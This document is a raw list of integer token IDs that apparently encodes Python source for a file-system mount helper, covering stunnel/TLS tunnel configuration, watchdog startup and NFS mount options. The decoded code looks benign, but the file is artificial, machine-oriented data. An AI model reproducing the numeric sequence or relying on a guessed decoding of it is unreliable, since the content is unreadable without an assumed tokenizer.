2084,
877,
303,
16163,
742,
13,
462,
632,
525,
12148,
2601,
372,
1494,
278,
11994,
472,
525,
13,
462,
632,
525,
991,
597,
2640,
29889,
10467,
29889,
17260,
29889,
510,
29914,
1389,
29879,
29914,
12333,
29914,
688,
29914,
4746,
29899,
17260,
29899,
1389,
29879,
29899,
13239,
29889,
1420,
29937,
786,
5105,
292,
29899,
303,
16163,
1495,
13,
13,
13,
1753,
1284,
29918,
6519,
29918,
2084,
29898,
6519,
29892,
2601,
29918,
5696,
1125,
13,
1678,
1018,
29901,
13,
4706,
8829,
29918,
2084,
353,
8207,
29879,
2109,
8419,
4855,
29914,
29879,
2109,
8419,
4855,
29914,
2997,
29914,
29879,
2109,
8419,
4632,
29914,
2109,
8419,
4855,
29914,
2997,
29914,
2109,
8419,
4855,
29914,
2109,
8419,
2109,
29915,
13,
4706,
2897,
29889,
649,
6272,
877,
10145,
742,
8829,
29918,
2084,
29897,
13,
4706,
2224,
353,
1014,
5014,
29889,
3198,
29918,
4905,
18959,
4716,
742,
1899,
2314,
13,
1678,
5174,
1014,
5014,
29889,
29907,
4212,
7032,
2392,
408,
321,
29901,
13,
4706,
18409,
29918,
2704,
877,
17776,
304,
26694,
1273,
29879,
297,
1273,
29879,
448,
1273,
29879,
29915,
1273,
313,
6519,
29892,
8829,
29918,
2084,
29892,
2601,
29918,
5696,
511,
321,
29897,
13,
1678,
736,
2224,
29889,
17010,
2141,
13808,
580,
13,
13,
13,
1753,
679,
29918,
5205,
29918,
14096,
29918,
3259,
7295,
13,
1678,
1018,
29901,
13,
4706,
411,
1722,
29898,
14816,
1254,
12665,
29918,
14829,
29918,
10145,
29897,
408,
285,
29901,
13,
9651,
736,
285,
29889,
949,
2141,
17010,
580,
13,
1678,
5174,
10663,
2392,
29901,
13,
4706,
12183,
29889,
8382,
877,
2525,
519,
304,
1303,
1273,
29879,
742,
28962,
1254,
12665,
29918,
14829,
29918,
10145,
29897,
13,
13,
1678,
1018,
29901,
13,
4706,
411,
1722,
29898,
3267,
29918,
14829,
29918,
10145,
29897,
408,
285,
29901,
13,
9651,
363,
1196,
297,
285,
29901,
13,
18884,
565,
525,
15094,
29911,
15631,
29918,
5813,
29915,
297,
1196,
29901,
13,
462,
1678,
736,
1196,
29889,
5451,
877,
29922,
29861,
29896,
1822,
17010,
580,
13,
1678,
5174,
10663,
2392,
29901,
13,
4706,
12183,
29889,
8382,
877,
2525,
519,
304,
1303,
1273,
29879,
742,
6570,
29918,
14829,
29918,
10145,
29897,
13,
13,
1678,
736,
525,
26690,
29915,
13,
13,
13,
1753,
2436,
29918,
303,
16163,
29918,
2917,
29918,
1445,
29898,
2917,
29892,
2106,
29918,
1445,
29918,
3972,
29892,
18920,
29918,
333,
29892,
5766,
3149,
29892,
260,
3137,
29918,
637,
29892,
270,
1983,
29918,
978,
29892,
11539,
29918,
5563,
29892,
12954,
1028,
29918,
17590,
29892,
13,
462,
795,
3987,
29892,
1480,
29918,
3972,
29922,
14480,
29918,
9464,
29892,
2284,
29918,
14144,
29922,
8516,
1125,
13,
1678,
9995,
13,
1678,
18896,
7093,
380,
16163,
5285,
304,
263,
934,
29889,
11511,
445,
947,
451,
14670,
304,
5132,
29915,
29879,
2295,
934,
3402,
29892,
577,
591,
505,
304,
13,
1678,
1361,
29899,
643,
6646,
372,
29889,
13,
1678,
9995,
13,
13,
1678,
5766,
29918,
9507,
353,
679,
29918,
16476,
29918,
14940,
29918,
9507,
29898,
5847,
29918,
333,
29892,
5766,
3149,
29892,
260,
3137,
29918,
637,
29897,
13,
13,
1678,
5534,
29918,
2917,
353,
9657,
29898,
1254,
3904,
29940,
6670,
29918,
29954,
28902,
1964,
29918,
25903,
29897,
13,
1678,
565,
2295,
29889,
657,
20054,
29898,
25903,
29918,
1660,
9838,
29892,
525,
303,
16163,
29918,
8382,
29918,
17590,
29374,
13,
4706,
5534,
29918,
2917,
1839,
8382,
2033,
353,
525,
8382,
29915,
13,
13,
4706,
565,
2295,
29889,
5349,
29918,
3385,
29898,
25903,
29918,
1660,
9838,
29892,
525,
303,
16163,
29918,
20756,
29918,
1445,
29374,
13,
9651,
5534,
29918,
2917,
1839,
4905,
2033,
353,
2295,
29889,
657,
29898,
25903,
29918,
1660,
9838,
29892,
525,
303,
16163,
29918,
20756,
29918,
1445,
2824,
6506,
877,
29912,
5847,
29918,
333,
29913,
742,
18920,
29918,
333,
29897,
13,
4706,
1683,
29901,
13,
9651,
5534,
29918,
2917,
1839,
4905,
2033,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1188,
29918,
3972,
29892,
14210,
29879,
29889,
303,
16163,
29889,
1188,
29915,
1273,
5766,
29918,
9507,
29897,
13,
13,
1678,
321,
5847,
29918,
2917,
353,
9657,
29898,
1254,
3904,
29940,
6670,
29918,
29923,
9998,
29918,
25903,
29897,
13,
1678,
321,
5847,
29918,
2917,
1839,
16044,
2033,
353,
321,
5847,
29918,
2917,
1839,
16044,
2033,
1273,
260,
3137,
29918,
637,
13,
1678,
321,
5847,
29918,
2917,
1839,
6915,
2033,
353,
321,
5847,
29918,
2917,
1839,
6915,
2033,
1273,
270,
1983,
29918,
978,
13,
1678,
321,
5847,
29918,
2917,
1839,
27902,
2033,
353,
11539,
29918,
5563,
13,
1678,
565,
11539,
29918,
5563,
1405,
29871,
29900,
29901,
13,
4706,
788,
29918,
303,
16163,
29918,
1113,
29918,
6768,
29898,
1389,
29879,
29918,
2917,
29892,
2295,
29892,
3987,
29897,
13,
13,
1678,
565,
2284,
29918,
14144,
29901,
13,
4706,
321,
5847,
29918,
2917,
1839,
6327,
2033,
353,
2284,
29918,
14144,
1839,
6327,
8021,
2033,
13,
4706,
321,
5847,
29918,
2917,
1839,
1989,
2033,
353,
2284,
29918,
14144,
1839,
9053,
2558,
2033,
13,
13,
1678,
1423,
29918,
3069,
29918,
23765,
29892,
12954,
1028,
29918,
29874,
423,
29918,
23765,
353,
679,
29918,
3259,
29918,
14940,
29918,
303,
16163,
29918,
6768,
580,
13,
13,
1678,
260,
3137,
29918,
26255,
29918,
4906,
353,
525,
29956,
25614,
29901,
3575,
3132,
425,
4684,
8002,
11761,
304,
6284,
427,
10118,
27658,
29889,
3529,
14955,
380,
16163,
29892,
525,
320,
13,
4706,
525,
272,
11262,
376,
7686,
29879,
29908,
297,
1273,
29879,
7790,
29876,
13393,
1273,
29879,
363,
901,
9493,
6169,
1273,
313,
25903,
29918,
7724,
29892,
13,
462,
462,
462,
795,
525,
991,
597,
2640,
29889,
10467,
29889,
17260,
29889,
510,
29914,
11058,
29914,
1389,
29879,
29914,
509,
283,
7586,
1251,
11427,
29899,
29873,
3137,
1495,
13,
13,
1678,
565,
2295,
29889,
657,
20054,
29898,
25903,
29918,
1660,
9838,
29892,
525,
303,
16163,
29918,
3198,
29918,
6327,
29918,
28988,
29374,
13,
4706,
565,
1423,
29918,
3069,
29918,
23765,
29901,
13,
9651,
321,
5847,
29918,
2917,
1839,
3198,
8514,
2033,
353,
270,
1983,
29918,
978,
13,
4706,
1683,
29901,
13,
9651,
18409,
29918,
2704,
29898,
29873,
3137,
29918,
26255,
29918,
4906,
1273,
525,
303,
16163,
29918,
3198,
29918,
6327,
29918,
28988,
1495,
13,
13,
1678,
396,
9333,
671,
278,
2295,
4444,
565,
278,
5712,
338,
451,
731,
13,
1678,
565,
12954,
1028,
29918,
17590,
29901,
13,
4706,
565,
12954,
1028,
29918,
29874,
423,
29918,
23765,
29901,
13,
9651,
321,
5847,
29918,
2917,
1839,
20166,
5550,
29874,
423,
2033,
353,
525,
3582,
29915,
13,
4706,
1683,
29901,
13,
9651,
18409,
29918,
2704,
29898,
29873,
3137,
29918,
26255,
29918,
4906,
1273,
525,
303,
16163,
29918,
3198,
29918,
6327,
29918,
3084,
537,
1495,
13,
13,
1678,
1788,
29918,
14096,
29918,
3259,
353,
679,
29918,
5205,
29918,
14096,
29918,
3259,
580,
13,
1678,
565,
451,
738,
29898,
14096,
297,
1788,
29918,
14096,
29918,
3259,
363,
6507,
297,
18581,
5690,
29918,
6632,
29918,
5265,
29933,
9980,
3301,
29918,
14829,
29903,
1125,
13,
4706,
321,
5847,
29918,
2917,
1839,
1982,
6312,
2033,
353,
525,
1217,
29915,
13,
13,
1678,
380,
16163,
29918,
2917,
353,
11297,
29876,
4286,
7122,
29898,
643,
6646,
29918,
303,
16163,
29918,
2917,
29898,
10945,
29918,
2917,
29897,
718,
28755,
29918,
303,
16163,
29918,
2917,
29898,
1389,
29879,
29918,
2917,
29892,
525,
1389,
29879,
8785,
13,
1678,
12183,
29889,
8382,
877,
29956,
768,
292,
380,
16163,
5285,
3583,
29876,
29995,
29879,
742,
380,
16163,
29918,
2917,
29897,
13,
13,
1678,
380,
16163,
29918,
2917,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3859,
29918,
1445,
29918,
3972,
29892,
525,
303,
16163,
29899,
2917,
29889,
29995,
29879,
29915,
1273,
5766,
29918,
9507,
29897,
13,
13,
1678,
411,
1722,
29898,
303,
16163,
29918,
2917,
29918,
1445,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
4706,
285,
29889,
3539,
29898,
303,
16163,
29918,
2917,
29897,
13,
13,
1678,
736,
380,
16163,
29918,
2917,
29918,
1445,
13,
13,
13,
1753,
2436,
29918,
29873,
3137,
29918,
29873,
16163,
29918,
3859,
29918,
1445,
29898,
5847,
29918,
333,
29892,
5766,
3149,
29892,
260,
3137,
29918,
637,
29892,
26086,
29918,
5935,
29892,
1899,
29892,
2066,
29892,
2106,
29918,
1445,
29918,
3972,
29892,
2284,
29918,
14144,
29922,
8516,
1125,
13,
1678,
9995,
13,
1678,
7106,
278,
1024,
310,
278,
13201,
934,
6943,
27658,
26086,
2106,
29892,
10944,
287,
411,
263,
525,
30022,
4286,
910,
934,
4225,
304,
367,
19533,
304,
263,
13,
1678,
1661,
29899,
1356,
1971,
653,
1873,
1494,
263,
9150,
5766,
29889,
13,
1678,
9995,
13,
1678,
2106,
29918,
1445,
353,
525,
30022,
29915,
718,
679,
29918,
16476,
29918,
14940,
29918,
9507,
29898,
5847,
29918,
333,
29892,
5766,
3149,
29892,
260,
3137,
29918,
637,
29897,
13,
13,
1678,
2106,
353,
426,
13,
4706,
525,
5935,
2396,
26086,
29918,
5935,
29892,
13,
4706,
525,
9006,
2396,
1899,
29892,
13,
4706,
525,
5325,
2396,
2066,
29892,
13,
1678,
500,
13,
13,
1678,
565,
2284,
29918,
14144,
29901,
13,
4706,
2106,
29889,
5504,
29898,
6327,
29918,
14144,
29897,
13,
13,
1678,
411,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
3859,
29918,
1445,
29918,
3972,
29892,
2106,
29918,
1445,
511,
525,
29893,
1495,
408,
285,
29901,
13,
4706,
4390,
29889,
15070,
29898,
3859,
29892,
285,
29897,
13,
13,
1678,
736,
2106,
29918,
1445,
13,
13,
13,
1753,
1243,
29918,
29873,
16163,
29918,
5014,
29898,
29873,
16163,
29918,
15439,
29892,
18920,
29918,
333,
1125,
13,
1678,
26086,
29918,
15439,
29889,
29886,
3028,
580,
13,
1678,
565,
26086,
29918,
15439,
29889,
2457,
401,
338,
451,
6213,
29901,
13,
4706,
714,
29892,
4589,
353,
26086,
29918,
15439,
29889,
27820,
403,
580,
13,
4706,
18409,
29918,
2704,
877,
17776,
304,
11905,
27658,
26086,
363,
1273,
29879,
29915,
1273,
18920,
29918,
333,
29892,
13,
462,
1678,
525,
17776,
304,
1369,
27658,
26086,
313,
3127,
1217,
16328,
29881,
467,
27591,
543,
29995,
29879,
29908,
380,
20405,
543,
29995,
29879,
29908,
29915,
13,
462,
1678,
1273,
313,
29873,
16163,
29918,
15439,
29889,
2457,
401,
29892,
714,
29889,
17010,
3285,
4589,
29889,
17010,
22130,
13,
13,
13,
1753,
21180,
29918,
29873,
16163,
29918,
5014,
29898,
29873,
16163,
29918,
15439,
29892,
18920,
29918,
333,
29892,
5766,
29918,
5729,
9446,
1125,
13,
1678,
9995,
13,
1678,
21180,
278,
26086,
1889,
9045,
1432,
869,
29945,
29879,
2645,
278,
5766,
4218,
304,
4418,
5172,
565,
278,
26086,
2977,
448,
1951,
445,
338,
451,
2000,
13,
1678,
515,
278,
1667,
3244,
29892,
565,
278,
26086,
8465,
29892,
6876,
443,
14941,
368,
411,
2897,
3032,
13322,
13,
1678,
9995,
13,
1678,
1550,
451,
5766,
29918,
5729,
9446,
29889,
275,
29918,
842,
7295,
13,
4706,
1018,
29901,
13,
9651,
1243,
29918,
29873,
16163,
29918,
5014,
29898,
29873,
16163,
29918,
15439,
29892,
18920,
29918,
333,
29897,
13,
4706,
5174,
2184,
24365,
408,
321,
29901,
13,
9651,
2897,
3032,
13322,
29898,
29872,
29889,
401,
29897,
13,
4706,
5766,
29918,
5729,
9446,
29889,
10685,
11891,
29945,
29897,
13,
13,
13,
1753,
679,
29918,
2344,
29918,
5205,
29898,
2055,
29918,
1445,
2433,
29914,
15439,
29914,
29896,
29914,
2055,
29374,
13,
1678,
2069,
29918,
5205,
353,
525,
26690,
29915,
13,
1678,
1018,
29901,
13,
4706,
411,
1722,
29898,
2055,
29918,
1445,
29897,
408,
285,
29901,
13,
9651,
2069,
29918,
5205,
353,
285,
29889,
949,
2141,
17010,
580,
13,
1678,
5174,
10663,
2392,
29901,
13,
4706,
12183,
29889,
27392,
877,
2525,
519,
304,
1303,
1273,
29879,
742,
844,
29918,
1445,
29897,
13,
13,
1678,
12183,
29889,
8382,
877,
7648,
2164,
2069,
1788,
29901,
1273,
29879,
742,
2069,
29918,
5205,
29897,
13,
1678,
736,
2069,
29918,
5205,
13,
13,
13,
1753,
1423,
29918,
11618,
29918,
5182,
29898,
5847,
29918,
333,
1125,
13,
1678,
411,
1722,
29898,
359,
29889,
3359,
4304,
29892,
525,
29893,
1495,
408,
2906,
4304,
29901,
13,
4706,
364,
29883,
353,
1014,
5014,
29889,
4804,
18959,
5205,
16948,
742,
525,
4882,
742,
525,
11618,
29889,
5182,
7464,
27591,
29922,
3359,
4304,
29892,
380,
20405,
29922,
3359,
4304,
29892,
3802,
29918,
29888,
6289,
29922,
5574,
29897,
13,
13,
1678,
565,
364,
29883,
2804,
29871,
29900,
29901,
13,
4706,
18409,
29918,
2704,
877,
17776,
304,
5766,
1273,
29879,
1363,
278,
3564,
471,
451,
3447,
3625,
29892,
788,
11119,
1212,
3359,
29908,
304,
596,
5766,
3987,
29915,
1273,
18920,
29918,
333,
29892,
13,
462,
1678,
6876,
29918,
401,
29922,
29900,
29897,
13,
13,
13,
1753,
1423,
29918,
11618,
29918,
4882,
29898,
5847,
29918,
333,
29892,
2069,
29918,
5205,
1125,
13,
1678,
565,
2069,
29918,
5205,
2804,
525,
5205,
29881,
2396,
13,
4706,
12183,
29889,
8382,
877,
3664,
6724,
3564,
373,
1661,
29899,
5205,
29881,
2069,
6757,
1495,
13,
4706,
736,
13,
13,
1678,
1423,
29918,
11618,
29918,
5182,
29898,
5847,
29918,
333,
29897,
13,
13,
13,
1753,
1369,
29918,
12344,
26169,
29898,
2344,
29918,
5205,
1125,
13,
1678,
565,
2069,
29918,
5205,
1275,
525,
2344,
2396,
13,
4706,
9580,
353,
1014,
5014,
29889,
29925,
3150,
29898,
13,
18884,
6024,
29914,
29879,
2109,
29914,
4882,
742,
399,
14789,
3970,
29954,
29918,
6304,
19059,
1402,
27591,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
380,
20405,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
3802,
29918,
29888,
6289,
29922,
5574,
29897,
13,
4706,
4660,
29892,
903,
353,
9580,
29889,
27820,
403,
580,
13,
4706,
565,
525,
9847,
29915,
297,
4660,
29901,
13,
9651,
411,
1722,
29898,
359,
29889,
3359,
4304,
29892,
525,
29893,
1495,
408,
2906,
4304,
29901,
13,
18884,
1014,
5014,
29889,
29925,
3150,
18959,
29914,
29879,
2109,
29914,
2962,
742,
399,
14789,
3970,
29954,
29918,
6304,
19059,
1402,
27591,
29922,
3359,
4304,
29892,
380,
20405,
29922,
3359,
4304,
29892,
3802,
29918,
29888,
6289,
29922,
5574,
29897,
13,
4706,
25342,
525,
2962,
29915,
297,
4660,
29901,
13,
9651,
12183,
29889,
8382,
877,
29995,
29879,
338,
2307,
2734,
742,
399,
14789,
3970,
29954,
29918,
6304,
19059,
29897,
13,
13,
1678,
25342,
2069,
29918,
5205,
1275,
525,
5205,
29881,
2396,
13,
4706,
364,
29883,
353,
1014,
5014,
29889,
4804,
18959,
5205,
16948,
742,
525,
275,
29899,
4925,
742,
525,
489,
339,
2035,
742,
399,
14789,
3970,
29954,
29918,
6304,
19059,
1402,
3802,
29918,
29888,
6289,
29922,
5574,
29897,
13,
4706,
565,
364,
29883,
2804,
29871,
29900,
29901,
13,
9651,
411,
1722,
29898,
359,
29889,
3359,
4304,
29892,
525,
29893,
1495,
408,
2906,
4304,
29901,
13,
18884,
1014,
5014,
29889,
29925,
3150,
18959,
5205,
16948,
742,
525,
2962,
742,
399,
14789,
3970,
29954,
29918,
6304,
19059,
1402,
27591,
29922,
3359,
4304,
29892,
380,
20405,
29922,
3359,
4304,
29892,
3802,
29918,
29888,
6289,
29922,
5574,
29897,
13,
4706,
1683,
29901,
13,
9651,
12183,
29889,
8382,
877,
29995,
29879,
338,
2307,
2734,
742,
399,
14789,
3970,
29954,
29918,
6304,
19059,
29897,
13,
13,
1678,
1683,
29901,
13,
4706,
1059,
29918,
4906,
353,
525,
23323,
451,
1369,
1273,
29879,
29892,
443,
29423,
1891,
2069,
1788,
11860,
29879,
29908,
29915,
1273,
313,
29956,
14789,
3970,
29954,
29918,
6304,
19059,
29892,
2069,
29918,
5205,
29897,
13,
4706,
10876,
29889,
303,
20405,
29889,
3539,
877,
29995,
29879,
29905,
29876,
29915,
1273,
1059,
29918,
4906,
29897,
13,
4706,
12183,
29889,
27392,
29898,
2704,
29918,
4906,
29897,
13,
13,
13,
1753,
1653,
29918,
12403,
29918,
12322,
29898,
2917,
29892,
3884,
1125,
13,
1678,
4464,
353,
29871,
29900,
29877,
29955,
29945,
29900,
13,
1678,
1018,
29901,
13,
4706,
4464,
29918,
710,
353,
2295,
29889,
657,
29898,
25903,
29918,
1660,
9838,
29892,
525,
3859,
29918,
1445,
29918,
3972,
29918,
8513,
1495,
13,
4706,
1018,
29901,
13,
9651,
4464,
353,
938,
29898,
8513,
29918,
710,
29892,
29871,
29947,
29897,
13,
4706,
5174,
7865,
2392,
29901,
13,
9651,
12183,
29889,
27392,
877,
22050,
2106,
29918,
1445,
29918,
3972,
29918,
8513,
11860,
29879,
29908,
297,
2295,
934,
11860,
29879,
29908,
742,
4464,
29918,
710,
29892,
8707,
18667,
29918,
7724,
29897,
13,
1678,
5174,
1939,
8375,
2392,
29901,
13,
4706,
1209,
13,
13,
1678,
1018,
29901,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
12322,
29892,
4464,
29897,
13,
1678,
5174,
438,
29173,
408,
321,
29901,
13,
4706,
565,
4589,
1217,
29889,
29923,
5746,
9047,
2804,
321,
29889,
3127,
1217,
470,
451,
2897,
29889,
2084,
29889,
275,
3972,
29898,
12322,
1125,
13,
9651,
12020,
13,
13,
13,
29992,
4703,
12847,
13,
1753,
16087,
29918,
29873,
3137,
29898,
2917,
29892,
2069,
29918,
5205,
29892,
270,
1983,
29918,
978,
29892,
18920,
29918,
333,
29892,
5766,
3149,
29892,
3987,
29892,
2106,
29918,
1445,
29918,
3972,
29922,
19713,
29918,
7724,
29918,
9464,
1125,
13,
1678,
260,
3137,
29918,
637,
353,
6755,
29918,
29873,
3137,
29918,
637,
29898,
2917,
29892,
3987,
29897,
13,
1678,
396,
5712,
278,
260,
3137,
637,
2984,
577,
393,
591,
508,
2678,
5712,
278,
2011,
278,
405,
9998,
3132,
3913,
304,
4511,
304,
380,
16163,
29889,
13,
1678,
396,
565,
278,
1404,
756,
6790,
260,
3137,
637,
29922,
29990,
472,
278,
1899,
1196,
445,
674,
925,
337,
29899,
842,
260,
3137,
637,
304,
1060,
29889,
13,
1678,
3987,
1839,
29873,
3137,
637,
2033,
353,
260,
3137,
29918,
637,
13,
13,
1678,
671,
29918,
2829,
353,
525,
2829,
29915,
297,
3987,
13,
1678,
3095,
29918,
333,
353,
3987,
29889,
657,
877,
5943,
3149,
1495,
13,
1678,
2284,
29918,
14144,
353,
6571,
13,
1678,
6993,
29918,
11944,
9409,
353,
6213,
13,
1678,
3132,
29918,
3888,
353,
679,
29918,
4645,
29918,
3888,
29898,
2917,
29897,
13,
13,
1678,
565,
671,
29918,
2829,
29901,
13,
4706,
25879,
29918,
1037,
6289,
29918,
5338,
353,
3987,
29889,
657,
877,
10467,
1037,
6289,
5338,
1495,
13,
4706,
565,
25879,
29918,
1037,
6289,
29918,
5338,
29901,
13,
9651,
9049,
5085,
353,
11117,
10467,
29918,
1037,
6289,
29918,
5338,
2396,
25879,
29918,
1037,
6289,
29918,
5338,
29913,
13,
4706,
1683,
29901,
13,
9651,
9049,
5085,
353,
11117,
10467,
10185,
2396,
679,
29918,
10467,
29918,
10185,
29898,
6768,
29892,
671,
29918,
2829,
2915,
13,
13,
4706,
6993,
29918,
11944,
9409,
29892,
16140,
29918,
4993,
353,
679,
29918,
10467,
29918,
8926,
29918,
11944,
9409,
29898,
1509,
29918,
2829,
29892,
3579,
19290,
29897,
13,
13,
4706,
565,
16140,
29918,
4993,
29901,
13,
9651,
2284,
29918,
14144,
1839,
10467,
28037,
4062,
2033,
353,
16140,
29918,
4993,
13,
13,
1678,
565,
3095,
29918,
333,
29901,
13,
4706,
2284,
29918,
14144,
1839,
5943,
5228,
2033,
353,
3095,
29918,
333,
13,
13,
1678,
396,
5684,
5829,
623,
2760,
304,
4772,
22006,
5321,
12112,
13,
1678,
2284,
29918,
14144,
1839,
16476,
2792,
9170,
2033,
353,
679,
29918,
16476,
29918,
14940,
29918,
9507,
29898,
5847,
29918,
333,
29892,
5766,
3149,
29892,
260,
3137,
29918,
637,
29897,
718,
525,
23097,
13,
1678,
396,
3619,
1024,
363,
12289,
26188,
2009,
338,
4236,
29871,
29953,
29946,
4890,
13,
1678,
2284,
29918,
14144,
1839,
9435,
1170,
2033,
353,
9909,
29889,
29887,
621,
520,
978,
580,
29961,
29900,
29901,
29953,
29946,
29962,
13,
1678,
2284,
29918,
14144,
1839,
12803,
2033,
353,
679,
29918,
5182,
29918,
12803,
29898,
2917,
29897,
13,
1678,
2284,
29918,
14144,
1839,
6327,
8021,
9832,
362,
2481,
2033,
353,
1653,
29918,
6327,
8021,
29898,
2917,
29892,
2284,
29918,
14144,
1839,
16476,
2792,
9170,
7464,
13,
462,
462,
462,
462,
2284,
29918,
14144,
1839,
9435,
1170,
7464,
2284,
29918,
14144,
1839,
12803,
7464,
18920,
29918,
333,
29892,
13,
462,
462,
462,
462,
6993,
29918,
11944,
9409,
29892,
3095,
29918,
333,
29892,
3132,
29918,
3888,
29892,
13,
462,
462,
462,
462,
2967,
29918,
2084,
29922,
3859,
29918,
1445,
29918,
3972,
29897,
13,
1678,
2284,
29918,
14144,
1839,
6327,
8021,
2033,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3859,
29918,
1445,
29918,
3972,
29892,
2284,
29918,
14144,
1839,
16476,
2792,
9170,
7464,
525,
6327,
8021,
29889,
29886,
331,
1495,
13,
1678,
2284,
29918,
14144,
1839,
9053,
2558,
2033,
353,
679,
29918,
9053,
29918,
1989,
29918,
2084,
580,
13,
1678,
2284,
29918,
14144,
1839,
5847,
1204,
2033,
353,
18920,
29918,
333,
13,
13,
1678,
1369,
29918,
12344,
26169,
29898,
2344,
29918,
5205,
29897,
13,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
3859,
29918,
1445,
29918,
3972,
1125,
13,
4706,
1653,
29918,
12403,
29918,
12322,
29898,
2917,
29892,
2106,
29918,
1445,
29918,
3972,
29897,
13,
13,
1678,
11539,
29918,
5563,
353,
938,
29898,
6768,
29889,
657,
877,
27902,
742,
22236,
29918,
1254,
3904,
29940,
6670,
29918,
5348,
6545,
29979,
29918,
1307,
29963,
6670,
876,
13,
1678,
12954,
1028,
29918,
17590,
353,
338,
29918,
542,
1028,
29918,
17590,
29898,
2917,
29892,
3987,
29897,
13,
13,
1678,
380,
16163,
29918,
2917,
29918,
1445,
353,
2436,
29918,
303,
16163,
29918,
2917,
29918,
1445,
29898,
2917,
29892,
2106,
29918,
1445,
29918,
3972,
29892,
18920,
29918,
333,
29892,
5766,
3149,
29892,
260,
3137,
29918,
637,
29892,
270,
1983,
29918,
978,
29892,
11539,
29918,
5563,
29892,
13,
462,
462,
462,
1678,
12954,
1028,
29918,
17590,
29892,
3987,
29892,
2284,
29918,
14144,
29922,
6327,
29918,
14144,
29897,
13,
1678,
26086,
29918,
5085,
353,
23160,
303,
16163,
29918,
2109,
3285,
380,
16163,
29918,
2917,
29918,
1445,
29962,
13,
1678,
565,
525,
1212,
1983,
29915,
297,
3987,
29901,
13,
4706,
26086,
29918,
5085,
353,
6024,
1983,
5893,
742,
525,
489,
1212,
2433,
718,
3987,
1839,
1212,
1983,
2033,
29962,
718,
26086,
29918,
5085,
13,
13,
1678,
396,
6826,
278,
26086,
297,
263,
1889,
2318,
577,
565,
372,
756,
738,
2278,
10174,
29892,
896,
508,
367,
9445,
5948,
491,
278,
5766,
6505,
26169,
13,
1678,
12183,
29889,
3888,
877,
4763,
292,
27658,
26086,
29901,
11860,
29879,
29908,
742,
525,
15300,
7122,
29898,
29873,
16163,
29918,
5085,
876,
13,
1678,
26086,
29918,
15439,
353,
1014,
5014,
29889,
29925,
3150,
29898,
13,
4706,
26086,
29918,
5085,
29892,
27591,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
380,
20405,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
758,
4258,
29918,
9144,
29922,
359,
29889,
7224,
333,
29892,
3802,
29918,
29888,
6289,
29922,
5574,
29897,
13,
1678,
12183,
29889,
3888,
877,
4763,
287,
27658,
26086,
29892,
23107,
29901,
1273,
29881,
742,
26086,
29918,
15439,
29889,
5935,
29897,
13,
13,
1678,
5694,
29918,
29873,
3137,
29918,
3859,
29918,
1445,
353,
2436,
29918,
29873,
3137,
29918,
29873,
16163,
29918,
3859,
29918,
1445,
29898,
5847,
29918,
333,
29892,
5766,
3149,
29892,
260,
3137,
29918,
637,
29892,
26086,
29918,
15439,
29889,
5935,
29892,
26086,
29918,
5085,
29892,
13,
462,
462,
462,
418,
518,
303,
16163,
29918,
2917,
29918,
1445,
1402,
2106,
29918,
1445,
29918,
3972,
29892,
2284,
29918,
14144,
29922,
6327,
29918,
14144,
29897,
13,
13,
1678,
1018,
29901,
13,
4706,
7709,
26086,
29918,
15439,
13,
1678,
7146,
29901,
13,
4706,
2897,
29889,
1267,
420,
29898,
359,
29889,
2084,
29889,
7122,
29898,
3859,
29918,
1445,
29918,
3972,
29892,
5694,
29918,
29873,
3137,
29918,
3859,
29918,
1445,
511,
2897,
29889,
2084,
29889,
7122,
29898,
3859,
29918,
1445,
29918,
3972,
29892,
5694,
29918,
29873,
3137,
29918,
3859,
29918,
1445,
29961,
29896,
29901,
12622,
13,
13,
13,
1753,
679,
29918,
29876,
5847,
29918,
16476,
29918,
6768,
29898,
6768,
1125,
13,
1678,
396,
960,
366,
1735,
1438,
3987,
29892,
2767,
278,
767,
1813,
408,
1532,
472,
767,
29914,
16476,
29889,
1389,
29879,
29889,
29947,
13,
1678,
565,
525,
29876,
5847,
874,
29915,
451,
297,
3987,
322,
525,
874,
29915,
451,
297,
3987,
29901,
13,
4706,
3987,
1839,
29876,
5847,
874,
2033,
353,
525,
29946,
29889,
29896,
29915,
13,
1678,
565,
525,
2288,
675,
29915,
451,
297,
3987,
29901,
13,
4706,
3987,
1839,
2288,
675,
2033,
353,
525,
29896,
29900,
29946,
29947,
29945,
29955,
29953,
29915,
13,
1678,
565,
525,
29893,
2311,
29915,
451,
297,
3987,
29901,
13,
4706,
3987,
1839,
29893,
2311,
2033,
353,
525,
29896,
29900,
29946,
29947,
29945,
29955,
29953,
29915,
13,
1678,
565,
525,
2695,
29915,
451,
297,
3987,
322,
525,
6800,
29915,
451,
297,
3987,
29901,
13,
4706,
3987,
1839,
6800,
2033,
353,
6213,
13,
1678,
565,
525,
2230,
29877,
29915,
451,
297,
3987,
29901,
13,
4706,
3987,
1839,
2230,
29877,
2033,
353,
525,
29953,
29900,
29900,
29915,
13,
1678,
565,
525,
276,
3286,
29915,
451,
297,
3987,
29901,
13,
4706,
3987,
1839,
276,
3286,
2033,
353,
525,
29906,
29915,
13,
1678,
565,
525,
29876,
2361,
29894,
637,
29915,
451,
297,
3987,
29901,
13,
4706,
3987,
1839,
29876,
2361,
29894,
637,
2033,
353,
6213,
13,
13,
1678,
565,
525,
29873,
3137,
29915,
297,
3987,
29901,
13,
4706,
3987,
1839,
637,
2033,
353,
3987,
1839,
29873,
3137,
637,
2033,
13,
13,
1678,
822,
304,
29918,
29876,
5847,
29918,
3385,
29898,
29895,
29892,
325,
1125,
13,
4706,
565,
325,
338,
6213,
29901,
13,
9651,
736,
413,
13,
4706,
736,
14210,
29879,
16328,
29879,
29915,
1273,
313,
710,
29898,
29895,
511,
851,
29898,
29894,
876,
13,
13,
1678,
302,
5847,
29918,
6768,
353,
518,
517,
29918,
29876,
5847,
29918,
3385,
29898,
29895,
29892,
325,
29897,
363,
413,
29892,
325,
297,
3987,
29889,
7076,
580,
565,
413,
451,
297,
382,
9998,
29918,
1164,
16786,
29918,
14094,
27946,
29962,
13,
13,
1678,
736,
13420,
4286,
7122,
29898,
29876,
5847,
29918,
6768,
29897,
13,
13,
